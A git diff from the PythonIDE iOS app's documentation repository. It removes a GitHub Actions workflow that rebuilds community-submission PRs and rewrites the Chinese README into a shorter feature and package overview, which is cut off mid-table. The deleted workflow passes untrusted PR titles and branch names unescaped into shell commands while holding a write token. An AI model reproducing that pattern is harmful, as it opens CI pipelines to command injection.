diff --git a/.github/workflows/approve_submission.yml b/.github/workflows/approve_submission.yml deleted file mode 100644 index 9da2312..0000000 --- a/.github/workflows/approve_submission.yml +++ /dev/null @@ -1,213 +0,0 @@ -name: Rebuild open submission PRs after merge - -on: - pull_request: - types: [closed] - branches: [main] - -concurrency: - group: rebuild-submissions - cancel-in-progress: false - -jobs: - rebuild: - if: github.event.pull_request.merged == true - runs-on: ubuntu-latest - permissions: - contents: write - pull-requests: write - - steps: - - uses: actions/checkout@v4 - with: - ref: main - fetch-depth: 1 - token: ${{ secrets.GITHUB_TOKEN }} - - - name: Rebuild open PRs onto latest main - uses: actions/github-script@v7 - with: - script: | - const { execSync } = require('child_process'); - const fs = require('fs'); - const path = require('path'); - - execSync('git config user.name "github-actions[bot]"'); - execSync('git config user.email "github-actions[bot]@users.noreply.github.com"'); - - // 获取所有 open 的 PR - const { data: openPRs } = await github.rest.pulls.list({ - owner: context.repo.owner, - repo: context.repo.repo, - state: 'open', - base: 'main', - sort: 'created', - direction: 'asc' - }); - - if (openPRs.length === 0) { - core.info('No open PRs to rebuild.'); - return; - } - - core.info(`Found ${openPRs.length} open PR(s) to rebuild.`); - - for (const pr of openPRs) { - const branch = pr.head.ref; - core.info(`\nRebuilding PR #${pr.number}: ${pr.title} (branch: ${branch})`); - - try { - // 1. 获取 PR 的文件变更列表 - const { data: files } = await github.rest.pulls.listFiles({ - owner: context.repo.owner, - repo: context.repo.repo, - pull_number: pr.number - }); - - // 2. 找到新增的脚本文件(排除 index.json) - const scriptFiles = files.filter(f => - f.status === 'added' && f.filename !== 'script_library/index.json' - ); - - if (scriptFiles.length === 0) { - core.warning(`PR #${pr.number}: No new script files found, skipping.`); - continue; - } - - // 3. 从 PR 分支获取每个脚本文件的内容 - const scriptContents = []; - for (const sf of scriptFiles) { - try { - const { data: fileData } = await github.rest.repos.getContent({ - owner: context.repo.owner, - repo: context.repo.repo, - path: sf.filename, - ref: branch - }); - const content = Buffer.from(fileData.content, 'base64').toString('utf8'); - scriptContents.push({ path: sf.filename, content }); - } catch (e) { - core.warning(`PR #${pr.number}: Failed to read ${sf.filename}: ${e.message}`); - } - } - - if (scriptContents.length === 0) { - core.warning(`PR #${pr.number}: Could not read script content, skipping.`); - continue; - } - - // 4. 从 PR body 中提取元数据 - const body = pr.body || ''; - const field = (key) => { - const re = new RegExp(`${key}[::]\\s*(.+)`, 'i'); - const m = body.match(re); - return m ? m[1].trim() : ''; - }; - const author = field('作者') || field('Author') || '社区投稿'; - const category = field('分类') || field('Category') || 'basic'; - const desc = field('描述') || field('Description') || pr.title; - const scriptName = pr.title.replace(/^\[投稿[::]\s*\w+\]\s*/, '').replace(/^\[投稿\]\s*/, '').trim() || 'untitled'; - - const catMap = { - '基础脚本': 'basic', 'basic': 'basic', - 'UI 界面': 'ui', 'UI': 'ui', 'ui': 'ui', - '游戏': 'games', 'Games': 'games', 'games': 'games', - '小组件': 'widgets', 'Widgets': 'widgets', 'widgets': 'widgets', - '其他': 'other', 'Other': 'other', 'other': 'other' - }; - let catId = catMap[category] || 'basic'; - - // 4b. 基于代码关键词自动修正分类 - const codeForClassify = scriptContents.map(s => s.content).join('\n'); - if (/\bimport\s+scene\b|from\s+scene\s+import\b|scene\.run\s*\(/.test(codeForClassify)) { - catId = 'games'; - core.info(`PR #${pr.number}: Auto-classified as "games" (detected scene module)`); - } else if (/\bimport\s+ui\b|from\s+ui\s+import\b|\.present\s*\(/.test(codeForClassify)) { - catId = 'ui'; - core.info(`PR #${pr.number}: Auto-classified as "ui" (detected ui module)`); - } else if (/from\s+widget\s+import\b|__WIDGET_LAYOUT__|Widget\s*\(/.test(codeForClassify)) { - catId = 'widgets'; - core.info(`PR #${pr.number}: Auto-classified as "widgets" (detected widget module)`); - } - - // 5. 基于最新 main 重建分支 - execSync('git checkout main', { stdio: 'pipe' }); - execSync('git pull origin main', { stdio: 'pipe' }); - - try { - execSync(`git branch -D ${branch}`, { stdio: 'pipe' }); - } catch (_) {} - execSync(`git checkout -b ${branch}`, { stdio: 'pipe' }); - - // 6. 写入脚本文件 - for (const sc of scriptContents) { - const dir = path.dirname(sc.path); - fs.mkdirSync(dir, { recursive: true }); - fs.writeFileSync(sc.path, sc.content, 'utf8'); - } - - // 7. 读取最新 index.json 并添加条目 - const indexPath = 'script_library/index.json'; - const index = JSON.parse(fs.readFileSync(indexPath, 'utf8')); - - const safeId = scriptName - .toLowerCase() - .replace(/[\s]+/g, '_') - .replace(/[^a-z0-9_\u4e00-\u9fff]/g, '') - .substring(0, 40) || `submission_${pr.number}`; - const scriptId = `community_${safeId}`; - - // 去重:如果已存在则跳过 - if (!index.scripts.some(s => s.id === scriptId)) { - const mainScript = scriptContents[0]; - const lineCount = mainScript.content.split('\n').length; - const fileType = path.extname(mainScript.path).replace('.', '') || 'py'; - - index.data_version += 1; - index.updated = new Date().toISOString().replace(/\.\d+Z$/, 'Z'); - index.scripts.push({ - id: scriptId, - name: scriptName, - name_en: scriptName, - desc: desc, - desc_en: desc, - category: catId, - file: mainScript.path.replace('script_library/', ''), - thumbnail: null, - version: 1, - file_type: fileType, - author: author, - author_en: author, - tags: ['community', catId], - requires: [], - min_app_version: '1.5.0', - added: new Date().toISOString().split('T')[0], - updated: null, - status: 'active', - lines: lineCount - }); - fs.writeFileSync(indexPath, JSON.stringify(index, null, 2) + '\n', 'utf8'); - } - - // 8. 提交并 force push - execSync(`git add -A`, { stdio: 'pipe' }); - execSync(`git commit -m "投稿: ${scriptName}" --allow-empty`, { stdio: 'pipe' }); - execSync(`git push origin ${branch} --force`, { stdio: 'pipe' }); - - core.info(`✅ PR #${pr.number} rebuilt successfully on latest main.`); - - // 切回 main - execSync('git checkout main', { stdio: 'pipe' }); - - } catch (e) { - core.warning(`❌ PR #${pr.number} rebuild failed: ${e.message}`); - try { execSync('git checkout main', { stdio: 'pipe' }); } catch (_) {} - - await github.rest.issues.createComment({ - owner: context.repo.owner, - repo: context.repo.repo, - issue_number: pr.number, - body: '⚠️ 自动重建失败,可能需要手动处理。' - }); - } - } diff --git a/README.md b/README.md index 4f624ec..f124a2a 100644 --- a/README.md +++ b/README.md @@ -1,698 +1,131 @@

- PythonIDE Logo + PythonIDE logo

-

Python IDE

-

掌上的 Python & JavaScript 开发环境

+

PythonIDE for iOS

+

- 让编程从电脑走到手机与平板 · Write, Run, Debug on iOS + 在 iPhone 和 iPad 上编写、运行并交付 Python 工作流
+ Python 3.14.6、科学计算、Notebook、AI Agent、MiniApp、Widget、SSH、Git 与 iOS 原生能力。

- - Download on App Store - + Download on the App Store +   + PythonIDE documentation   - - GitHub Stars - + GitHub stars

- iOS 16.2+ - Python 3.13 - JavaScript - Swift - C Extensions - SSH + Python 3.14.6 + iOS and iPadOS 16.2 or later + 45 native packages + 63 pure Python packages

---- - -## 🌟 为什么选择 Python IDE? - -> 不是把电脑版塞进手机,而是**专为触摸屏和移动场景重新设计**的编程环境。 - -- **完全本地运行** — 代码执行不依赖任何服务器,无网络也能用 -- **Python 3.13 完整标准库** — 不是阉割版,`asyncio`、`threading`、`socket` 全都有 -- **25+ 个预装第三方 C 加速包** — NumPy、pandas、Matplotlib、Pillow、aiohttp 生态等,直接 `import`,速度是纯 Python 的 10–100 倍 -- **150+ 预装纯 Python Wheel** — 常用库开箱即用,还能搜索 PyPI 在线安装更多 -- **AI 助手开箱即用** — 无需配置,免费额度直接用;支持接入自己的 Key 无限使用 -- **SSH 服务器管理** — 写完脚本直接部署到服务器,SFTP 文件管理、实时监控、AI 智能运维 -- **深度集成 iOS 系统能力** — 灵动岛、Siri 快捷指令、x-callback-url、相册/相机 API 一应俱全 - ---- - -## ✨ 核心功能 / Core Features - -### 🐍 多语言运行 - -| 功能 | 描述 | -|------|------| -| **Python 3.13** | 完整标准库本地运行,支持 `async/await`、多线程、交互式 `input()`、ANSI 彩色输出 | -| **JavaScript** | JavaScriptCore 执行 `.js`,内置 `alert/confirm/prompt`、`fetch`、`localStorage`、剪贴板等 iOS 桥接 | -| **HTML 预览** | WKWebView 全屏渲染,支持相对路径引用本地资源、`alert/console` 桥接、`±` 按钮与双指捏合缩放 | - ---- - -### ✏️ 专业代码编辑器 - -| 功能 | 描述 | -|------|------| -| **语法高亮** | Python、JavaScript、HTML、CSS、JSON、Markdown、LOG 等多语言 | -| **智能代码补全** | 基于 Jedi 引擎的 Python 智能提示,函数签名、文档字符串一应俱全 | -| **自动缩进** | 按语言规范自动缩进,Tab 宽度可调 | -| **行号栏** | 实时行号显示,支持大文件流畅滚动 | -| **字体调节** | 可调字体大小(8–30 号),双指捏合快速缩放 | -| **查找 & 替换** | 全文搜索、正则匹配、高亮跳转,支持全部替换 | -| **快捷输入栏** | 按语言(Py/JS/HTML/CSS/JSON/MD)定制符号与 Snippets,支持自定义按钮、拖拽排序 | -| **实时保存** | 自动保存 + 手动保存,永不丢失修改 | -| **显示空白符** | 可选显示空格与制表符,对齐问题一眼看出 | -| **分屏模式** | 编辑器与控制台同屏并排,竖屏上下 / 横屏左右分割(`.py` 文件) | -| **错误跳转** | 控制台报错含行号时,点击自动跳转编辑器对应行并高亮 | -| **运行历史** | 查看带时间戳的代码快照,一键重新运行历史版本 | - ---- - -### 📺 控制台与输出 - -| 功能 | 描述 | -|------|------| -| **Rich 完整支持** | ANSI 彩色、粗体/斜体、进度条、表格、Markdown 渲染 | -| **多控制台** | 同时运行多个脚本,独立控制台,随时切换查看 | -| **交互式输入** | 完整支持 `input()` 实时键盘输入,包括密码遮蔽 | -| **输入历史** | 键盘上方快捷栏支持上下翻历史命令,↑↓ 箭头快速复用 | -| **配色主题** | 内置多套配色方案,黑色/白色/护眼绿等,可自由切换 | -| **字体与时间戳** | 可调字体大小,每行输出前可选显示时间戳 | -| **自定义背景** | 控制台背景支持纯色或自定义图片 | -| **运行历史** | 查看历史运行记录,快速回溯之前的输出 | - ---- - -### 🤖 AI 助手 - -AI 助手**深度融入编辑器工作流**,不是简单的聊天窗口,而是面向真实项目任务的编程搭档。 - -#### 三种使用方式,随心选择 - -| 方式 | 说明 | -|------|------| -| **平台内置额度** | 注册即赠免费次数,无需任何配置,打开即用 | -| **购买调用包** | 应用内购买 100 / 200 / 500 次额度包,立即到账,与免费次数叠加 | -| **自带 Key(BYOK)** | 一次性永久解锁,填入自己的 API 地址 + Key,完全不受额度限制 | - -内置一键预设:**DeepSeek**、**OpenAI**、**OpenRouter**,以及任意兼容 OpenAI 格式的服务。支持保存多套预设并随时切换。 - -#### ✨ 行内修改模式 - -- 点击编辑器顶部 ✨ 或键盘上方 ✨ 按钮,用自然语言描述需求 -- AI **直接修改当前文件**,以 **Diff 差异对比** 展示每一处改动(绿色新增 / 红色删除) -- 支持**逐条采纳 / 拒绝**,或一键全部接受 / 放弃 -- 会结合当前文件内容与上下文,给出更贴合场景的修改结果 - -#### 🤖 Agent 模式 — AI 直接协助你的项目 - -Agent 模式下,AI 不只是回答问题,而是可以围绕整个工作区协助完成任务,例如跨文件修改、运行与排查脚本、搜索项目内容、安装依赖,以及配合 SSH 工作流处理远程任务。 - -- 支持直接在项目内创建、整理和修改文件 -- 支持结合运行结果继续调整代码,减少来回复制粘贴 -- 支持在执行前先给出计划,关键步骤可确认后再继续 - -#### 📋 Plan 模式 — 先规划再动手 - -Plan 模式适合复杂需求的前期梳理: - -- 先拆解目标、列出步骤和注意事项 -- 支持通过确认选项继续收敛需求 -- 两种模式可**随时切换**,Plan 确认后可直接切到 Agent 执行 - -#### 🔗 智能联动 - -- **报错一键修复**:脚本出错后,控制台底部自动弹出错误卡片,点击 ✨ 将报错上下文直接发给 AI,一键生成修复方案 -- **智能装库**:AI 发现代码中缺少第三方库时,可辅助补齐安装流程 -- **代码解释**:选中任意代码段,弹出 AI 解释面板,快速理解陌生代码 -- **一键应用代码**:AI 回复中的代码块可**一键替换到编辑器** -- **移动端场景优化**:更贴合 iOS 本地运行环境与内置模块能力 -- **多会话管理**:支持创建多个独立对话,各自保持上下文 -- **图片附件**:支持发送图片给 AI 进行分析 - ---- - -### ⚡ 内置 C 扩展库 - -> 由原生代码编译,运行速度比纯 Python 实现快 **10–100 倍**,直接 `import` 即用,无需安装。下表按**用户可导入的 Python 包**归纳;Python 自带解释器 C 模块(如 `_ssl`、`_ctypes`、`_json` 等)未单独列出。 - -| 分类 | 库 | 说明 | -|------|-----|------| -| 科学计算 | **NumPy 2.2** | 数组、矩阵、线性代数、FFT、随机数、广播与 ufunc | -| 数据分析 | **pandas 2.2** | DataFrame、分组聚合、时间序列、IO(大量 C/Cython 内核) | -| 可视化 | **Matplotlib 3.9** | 2D 绘图、Agg 后端、字体与路径渲染 | -| 等高线 | **contourpy** | Matplotlib 等高线计算加速 | -| 图像处理 | **Pillow 12** | JPEG/PNG/WebP/AVIF 读写,滤镜、裁剪、合成 | -| 高性能 JSON | **ujson** | 比标准 `json` 快 10 倍,接口完全兼容 | -| 高性能 JSON | **python-rapidjson** | RapidJSON 绑定(`import rapidjson`),解析与序列化加速 | -| 高性能序列化 | **msgpack** | 二进制序列化,体积更小、速度更快 | -| 高级正则 | **regex** | Unicode 分类、模糊匹配、重叠匹配,比 `re` 更强大 | -| 工业级加密 | **cryptography** | AES、RSA、ECDSA、Fernet 完整套件 | -| 密码哈希 | **bcrypt** | 密码安全存储的行业标准 | -| 密码哈希 | **argon2-cffi** | 比 bcrypt 更安全的新一代标准 | -| C 接口层 | **cffi** | Python 与 C 代码互调的基础桥接库 | -| 异步网络 | **aiohttp** | C 加速的高性能异步 HTTP 客户端(llhttp 解析等) | -| HTTP 栈依赖 | **yarl / multidict / frozenlist** | URL 构建、多维字典、不可变链表(异步 HTTP 常用) | -| 压缩 | **brotli** | Brotli 压缩/解压(网络与存储场景) | -| 数据结构 | **bitarray / lru-dict** | 高效位数组、C 实现的 LRU 缓存 | -| 哈希 | **mmh3** | MurmurHash3,高速非加密哈希 | -| 哈希 | **xxhash** | 极快的非加密哈希 | -| YAML | **ruamel.yaml**(含 **ruamel.yaml.clib**) | YAML 读写,C 层加速解析 | -| 协程 | **greenlet** | 轻量级协程栈切换(部分库依赖) | -| 进程信息 | **setproctitle** | 设置进程标题,便于调试与监控工具识别 | -| 开发工具 | **coverage / kiwisolver** | 代码覆盖率统计、约束求解器(Matplotlib 等依赖) | - ---- - -### 📚 第三方库与库管理 - -150+ 纯 Python Wheel 预装,常用场景开箱即用,还能实时搜索 PyPI 安装更多。 - -| 分类 | 常用库 | -|------|--------| -| **网络请求** | `requests`、`httpx`、`aiohttp`、`urllib3`、`certifi` | -| **网页解析** | `beautifulsoup4`、`html5lib` | -| **数据格式** | `pyyaml`、`toml`、`jsonschema`、`pydantic`、`marshmallow` | -| **日期时间** | `python-dateutil`、`arrow`、`pendulum`、`pytz` | -| **安全加密** | `cryptography`、`bcrypt`、`argon2-cffi`、`pyjwt`、`passlib` | -| **工具与 CLI** | `click`、`rich`、`tqdm`、`loguru`、`colorama` | -| **文本处理** | `chardet`、`email-validator`、`phonenumbers`、`python-slugify` | -| **机器人** | `python-telegram-bot`、`telethon` | -| **Web 框架** | `flask`、`starlette`(轻量级) | - -**库管理界面功能:** -- 🔍 搜索 PyPI 实时安装,显示**下载进度百分比** -- 📦 按分类浏览 40+ 热门库,含图标与颜色区分 -- ✅ 已安装列表展示版本号与来源(预装 / 用户安装) -- 🗑 左滑一键卸载(含确认对话框,防误操作) -- 📋 长按复制 `import` 语句 -- 📁 支持 `.whl` 文件直接导入安装 - ---- - -### 📂 文件管理 - -| 功能 | 描述 | -|------|------| -| **多层级文件夹** | 无限层级,面包屑导航,点击路径随时跳转 | -| **全类型文件** | 创建 `.py`、`.js`、`.html`、`.css`、`.md`、`.json`、`.txt` 等 | -| **文件着色** | 给文件和文件夹设置 12 种颜色标记,分类一目了然 | -| **回收站** | 删除后 7 天内可恢复,倒计时提示,批量清空 | -| **置顶** | 文件 / 文件夹置顶固定,左滑快速操作 | -| **全局搜索** | 按文件名搜索,高亮匹配,支持历史记录 | -| **批量操作** | 多选、批量删除、批量分享、批量移动 | -| **导入** | 从系统「文件」App 导入任意文件 | -| **排序** | 拖拽手动排序,或按更新时间自动排序 | - -#### ☁️ WebDAV 云盘 - -| 功能 | 描述 | -|------|------| -| **服务器模板** | 坚果云、NextCloud、群晖 NAS 一键配置,支持自定义 WebDAV 服务器 | -| **文件浏览** | 远程目录面包屑导航、骨架屏加载、搜索过滤、排序 | -| **在线编辑** | 远程文本文件直接编辑,ETag 冲突检测,防覆盖 | -| **文件操作** | 上传、下载到工作区、重命名、删除、新建文件夹 | -| **批量操作** | 多选删除、批量下载、批量移动 | -| **收藏夹** | 常用目录快速跳转 | -| **安全** | Keychain 密码存储、自签名证书支持 | -| **坚果云优化** | 内置频率限制保护,指数退避 | - -> 从首页「+」新建菜单进入 WebDAV,添加云盘服务器后即可远程管理文件。 -> **详细说明:** [WebDAV 功能文档](docs/webdav-module.md) - ---- - -### 📄 多格式支持 - -| 类型 | 格式 | -|------|------| -| **可运行** | `.py`(Python 3.13)、`.js`(JavaScript) | -| **可预览** | `.html`(全屏网页)、`.md`(Markdown 渲染)、`.csv`(表格)、`.css`(套用示例)、图片、视频、PDF | -| **可编辑** | `.json`、`.txt`、`.log`、`.php` 以及其他纯文本格式 | - ---- - -### 🖥️ SSH 服务器管理 - -在 App 内直接连接和管理远程 Linux 服务器。写好 Python 脚本,一键部署到服务器运行——无需切换 App。 - -#### 连接与终端 - -| 功能 | 描述 | -|------|------| -| **SSH2 协议** | 基于 Citadel(SwiftNIO-SSH),完整 SSH2 加密连接 | -| **密码 / 密钥认证** | 支持密码登录和 Ed25519、RSA、ECDSA 密钥认证 | -| **交互式终端** | ANSI 256 色、xterm-256color、多主题切换(Dracula / Solarized / Monokai 等) | -| **快速连接** | 地址栏输入 `user@host:port`,回车直接连接 | -| **命令快捷键** | Tab / Ctrl+C / Ctrl+D / 方向键,可自定义快捷按钮 | -| **命令片段** | 40+ 预置常用命令(系统信息、Docker、Python、网络、部署),支持自定义保存 | -| **会话保持** | 后台 KeepAlive 心跳,离开终端页面不断连 | -| **多编码** | UTF-8 / GBK / GB2312 / Latin-1 | -| **终端日志导出** | 一键导出终端输出为 `.log` 文件 | - -#### SFTP 文件管理 - -| 功能 | 描述 | -|------|------| -| **远程浏览** | 面包屑路径导航,目录/文件分类展示 | -| **在线编辑** | 直接编辑服务器上的配置文件、脚本 | -| **上传 / 下载** | 支持多文件上传(最大 10MB),下载最大 50MB | -| **创建 / 删除 / 重命名** | 完整文件操作,含确认对话框 | -| **权限管理** | 查看和修改文件 chmod 权限 | - -> **网盘与 WebDAV:** 连接坚果云、NextCloud、群晖等云盘请使用 [WebDAV 功能文档](docs/webdav-module.md)。 - -#### 一键部署 - -| 功能 | 描述 | -|------|------| -| **项目部署** | 选择本地文件/文件夹,一键上传到服务器并执行 | -| **依赖安装** | 自动安装 `requirements.txt`,部署日志实时滚动 | -| **目录结构保持** | 子目录自动创建,保留项目层级 | +## 关于这个仓库 -#### 服务器监控 +这是 PythonIDE 的官方产品介绍与公开文档仓库,承载官网、用户文档和公开项目入口。App 的完整商业源代码不在此仓库公开。 -| 功能 | 描述 | -|------|------| -| **实时仪表盘** | CPU、内存、磁盘用量环形图,5 秒自动刷新 | -| **网络流量** | 收发流量统计 | -| **系统信息** | 主机名、内核版本、运行时间、负载均衡 | -| **进程列表** | Top 进程 CPU/内存占用排行 | - -#### SSH 密钥管理 - -| 功能 | 描述 | -|------|------| -| **生成密钥** | 一键生成 Ed25519 / RSA / ECDSA 密钥对 | -| **导入密钥** | 粘贴或导入 PEM / OpenSSH 格式私钥 | -| **导出公钥** | 复制或分享公钥到服务器 `authorized_keys` | -| **密钥指纹** | SHA256 指纹展示,安全识别 | - -#### AI 智能运维(Agent 模式联动) - -AI 助手可结合 SSH 工作流协助处理服务器任务。你只需要用自然语言描述需求,它可以配合完成状态检查、日志查看、配置调整、文件传输与部署排查等操作。 - -- 支持查看服务状态、日志和系统资源 -- 支持读取或修改常见配置文件,并配合上传部署 -- 关键操作仍保留确认,避免误执行高风险操作 - -> 示例:对 AI 说「帮我重启 nginx 并查看最近日志」「服务器内存占用太高了帮我看看」,AI 会协助完成排查流程并返回结果。 - ---- - -### 🛠️ 开发者工具箱(10 大工具) - -| 工具 | 功能 | -|------|------| -| **编解码** | URL 编解码、Unicode 互转、MD5、Base64 | -| **JSON** | 格式化、压缩、校验,语法错误定位 | -| **API 调试** | HTTP 请求测试,自定义 Method / Header / Body,查看响应码与正文 | -| **二维码** | 生成 / 识别(相册图片识别)、Data URL 转换 | -| **图片 URL** | 在线图片 URL 转 Data URL、图片转 Base64 | -| **HTML 截图** | HTML 转图片、网页抓图、Data URL 导出 | -| **时间戳** | 毫秒 / 秒互转、多时区日期格式化 | -| **进制转换** | 二 / 八 / 十 / 十六进制互转 | -| **正则表达式** | 匹配测试、替换预览、分组捕获可视化 | -| **直链下载** | 自定义 UA / Referer / Cookie / Token,TLS 忽略,实时进度条,下载后直接导出 | - -工具列表支持**关键词搜索**、**拖拽排序**,可随时恢复默认顺序。 - ---- - -### 📱 iOS 原生深度集成 - -#### 🏝 灵动岛 & 锁屏 Live Activity - -脚本运行期间,灵动岛实时显示状态,无需解锁手机即可掌握运行进度: - -- **运行中** — 动态波形动画 + 实时计时 -- **等待输入** — 提示 `input()` 的提示文字 -- **完成** — 显示完成信息,10 秒后自动消失 -- **失败** — 显示错误摘要,点击跳回 App 查看详情 - -#### ⌘ Siri 快捷指令(App Intents) - -深度集成 iOS 快捷指令,**无需打开 App** 即可执行 Python 脚本: - -| 操作 | 说明 | -|------|------| -| **运行 Python 代码** | 直接执行代码片段,支持等待完成并返回输出结果 | -| **运行 Python 脚本** | 从工作区选择 `.py` 文件执行,支持传入命令行参数 | -| **在应用中运行脚本** | 强制打开 App 在控制台中运行,适合有 `input()` 的交互式脚本 | -| **获取脚本输出** | 配合「不等待」模式,异步获取上一次运行的输出结果 | -| **创建 Python 脚本** | 在工作区创建新文件,可链式传给「运行脚本」使用 | - -- 支持 **Siri 语音触发**,说「在 Python IDE 中运行代码」即可 -- 支持在「自动化」中设置定时触发,实现脚本计划任务 -- 脚本文件支持 **Spotlight 全局搜索**(iOS 18+) - -#### 🔗 URL Scheme & x-callback-url - -支持从其他 App、Widget、通知等任意入口唤起并执行脚本: +PythonIDE 不只是移动端代码编辑器。它把脚本从“写完并运行”继续连接到 Notebook、AI Agent、MiniApp、桌面开发、小组件、快捷指令、SSH、Git、WebDAV 和社区分享,让 Python 能成为 iOS 工作流的一部分。 -``` -pythonide://run-code?code=print("hello") -pythonide://run-script?name=main.py -pythonide://download?url=https://example.com/file.zip -pythonide://x-callback/?code=xxx&x-success=callback://&x-error=callback:// +```text +编辑代码 -> 本地运行 -> Agent 修改与验证 -> 接入 MiniApp / Widget / Shortcuts / Server ``` -完整支持 [x-callback-url](http://x-callback-url.com/) 规范(`x-success`、`x-error`、`x-cancel`),可与 Drafts、Toolbox for Writer 等 App 联动。 +## 主要能力 -#### 📷 photos & dialogs 模块 +| 工作流 | 能力 | +|---|---| +| **编辑与运行** | 多文件项目、语法高亮、查找替换、补全、Lint、交互式输入、ANSI/Rich、图片、图表与 HTML 输出 | +| **Notebook** | 打开和编辑 `.ipynb`,运行 Code 单元格,展示 Markdown、图片和结构化输出 | +| **AI Agent** | 读取和修改项目文件、运行 Python、分析错误、调用 Git/SSH/MiniApp/网页及原生工具;支持平台额度与 BYOK | +| **MiniApp / AppUI** | 使用 Python 构建带原生界面的移动工具,支持创建、预览、调试、导入、导出和桌面协作开发 | +| **Widget 与自动化** | 主屏和锁屏小组件、Control Center 控件、Live Activity、App Intents、Siri、快捷指令与 Share Extension | +| **远程开发** | SSH 终端、SFTP、服务器监控、部署、WebDAV,以及 Git 状态、提交、分支、远端、stash 和冲突处理 | +| **iOS 原生能力** | 相册、相机、位置、通讯录、日历、通知、语音、运动、蓝牙、HealthKit、音乐、触感等 Python 接口 | +| **桌面开发** | 通过 `npx pythonide-cli start` 连接 VS Code、Cursor、Zed 等桌面编辑器,并在真实 iPhone/iPad Runtime 中运行 | -Python 直接调用 iOS 系统能力,与 Pythonista 完全兼容: +## Python 3.14.6 运行时 -```python -import photos -import dialogs +PythonIDE 当前内置 Python 3.14.6,并预装 45 个包含原生代码的发行包和 63 个纯 Python 发行包。用户仍可通过 PyPI 或 Wheel 安装更多兼容的纯 Python 包。 -# 从相册选图,配合 Pillow 处理 -asset = photos.pick_asset() -img = asset.get_image() +### 主要科学计算与开发包 -# 原生弹窗交互 -name = dialogs.input_alert("请输入名字") -choice = dialogs.list_dialog("选择颜色", ["红", "绿", "蓝"]) -dialogs.hud_alert("操作完成!") -``` +| 包 | 当前内置版本 | 用途 | +|---|---:|---| +| NumPy | 2.4.6 | 数组与数值计算 | +| SciPy | 1.18.0 | 科学计算与优化 | +| pandas | 3.0.3 | 表格与数据分析 | +| Matplotlib | 3.9.4 | 数据可视化 | +| OpenCV (headless) | 5.0.0.93 | 计算机视觉与图像处理 | +| scikit-learn | 1.9.0 | 机器学习 | +| Pillow | 12.3.0 | 图像处理 | +| pygame | 2.6.1 | 2D 图形、动画与交互 | +| cryptography | 49.0.0 | 密码学能力 | +| lxml | 6.1.1 | XML/HTML 处理 | +| aiohttp | 3.14.1 | 异步 HTTP | +| FastAPI | 0.139.0 | API 开发 | +| openai | 2.44.0 | OpenAI API 客户端 | +| pypdf | 6.14.2 | PDF 处理 | +| ReportLab | 5.0.0 | PDF 生成 | -还支持 `clipboard`(读写系统剪贴板)和 `console`(彩色输出、清屏、粗体)模块。 - -> **完整 API 文档:** [photos 模块](docs/photos-module.md) · [dialogs 模块](docs/dialogs-module.md) · [clipboard 模块](docs/clipboard-module.md) · [console 模块](docs/console-module.md) - -#### 🆕 新增 iOS 原生模块 - -| 模块 | 功能 | 说明 | -|------|------|------| -| **`location`** | GPS 定位 | 经纬度、海拔、指南针、正向/反向地理编码 | -| **`motion`** | 传感器 | 加速度计、陀螺仪、磁力计、气压计、融合传感器 | -| **`speech`** | 语音合成 | 文字转语音,多语言,语速/音高/音量控制 | -| **`biometric`** | 生物认证 | Face ID / Touch ID 安全认证 | -| **`notification`** | 本地通知 | 定时通知、日历通知、通知管理、角标 | -| **`vision_helper`** | 高级视觉 | 人脸检测、条码/QR 扫描、图像分类、矩形检测 | - -> **完整 API 文档:** [新增原生模块文档](docs/new-native-modules.md) - -#### 📐 ui 模块 — 原生界面 - -Pythonista 兼容的 UI 模块,用 Python 创建原生 iOS 界面(View、Button、Label、TextField、ScrollView、TableView、WebView 等),支持 `present()` 全屏/半屏展示、自绘、load_view 等。 - -> **完整 API 文档:** [ui 模块完整文档](docs/ui-module.md) · [appui 声明式 UI](docs/appui-module.md) - -#### 🎮 scene 模块 — 2D 游戏引擎 - -Pythonista 兼容的 Scene 模块,用 Python 开发 2D 游戏和动画。底层基于 SpriteKit,提供**两种开发模式**:经典逐帧绘制(`draw()`)和现代节点树(Node + Action)。 - -> **完整 API 文档:** [scene 模块完整文档](docs/scene-module.md) - -##### 节点体系 - -| 节点 | 说明 | -|------|------| -| **`Node`** | 基础节点,支持 `position`、`rotation`、`alpha`、`z_position`、`physics_body` | -| **`SpriteNode`** | 精灵节点,加载图片纹理,支持 `color`、`size`、`anchor_point` | -| **`LabelNode`** | 文字节点,支持 `font`、`color`、`alignment` | -| **`ShapeNode`** | 形状节点,支持矩形(可圆角)、椭圆,可设 `fill_color`、`stroke_color` | -| **`EmitterNode`** | 粒子发射器节点 | - -##### Action 动画系统(14 种动作) - -| 动作 | 说明 | -|------|------| -| `move_to` / `move_by` | 移动到绝对位置 / 相对偏移 | -| `rotate_to` / `rotate_by` | 旋转到角度 / 旋转偏移量 | -| `scale_to` / `scale_by` | 缩放到倍数 / 缩放偏移 | -| `fade_to` / `fade_by` | 淡入淡出到透明度 / 透明度偏移 | -| `sequence` | 按顺序执行一组动作 | -| `group` | 同时并行执行一组动作 | -| `repeat` / `repeat_forever` | 重复执行 N 次 / 无限循环 | -| `wait` | 等待指定秒数 | -| `call` | 执行回调函数 | -| `remove` | 从父节点移除 | - -所有动作支持 **16 种缓动曲线**:`TIMING_LINEAR`、`TIMING_EASE_IN/OUT`、`TIMING_ELASTIC_IN/OUT`、`TIMING_BOUNCE_IN/OUT`、`TIMING_EASE_BACK_IN/OUT` 等。 - -##### 物理引擎 - -| 功能 | 说明 | -|------|------| -| **`PhysicsWorld`** | 场景物理世界,可设置 `gravity` 全局重力 | -| **`PhysicsBody`** | 物理体,支持 `rectangle(w,h)` 和 `circle(r)` 两种形状 | -| **碰撞属性** | `restitution`(弹性)、`friction`(摩擦)、`linear_damping`(阻尼)、`velocity`(速度) | -| **碰撞检测** | `category_bitmask`、`collision_bitmask`、`contact_test_bitmask` 位掩码 | -| **`Contact`** | 碰撞回调,包含 `node_a`、`node_b`、`contact_point`、`collision_impulse` | -| **力与冲量** | `apply_impulse(x, y)` 施加冲量 | -| **关节** | `PinJoint`(铰链)、`SpringJoint`(弹簧)、`RopeJoint`(绳索) | - -##### 经典绘图 API(scene_drawing) - -在 `Scene.draw()` 中使用的逐帧绘制函数,适合快速原型和简单动画: - -| 函数 | 说明 | -|------|------| -| `background(r,g,b)` | 填充背景色 | -| `fill(r,g,b,a)` / `no_fill()` | 设置 / 取消填充色 | -| `stroke(r,g,b,a)` / `no_stroke()` | 设置 / 取消描边色 | -| `stroke_weight(w)` | 设置描边宽度 | -| `rect(x,y,w,h)` | 绘制矩形(支持圆角) | -| `ellipse(x,y,w,h)` | 绘制椭圆 | -| `line(x1,y1,x2,y2)` | 绘制线段 | -| `image(name,x,y,w,h)` | 绘制图片 | -| `text(txt,font,size,x,y)` | 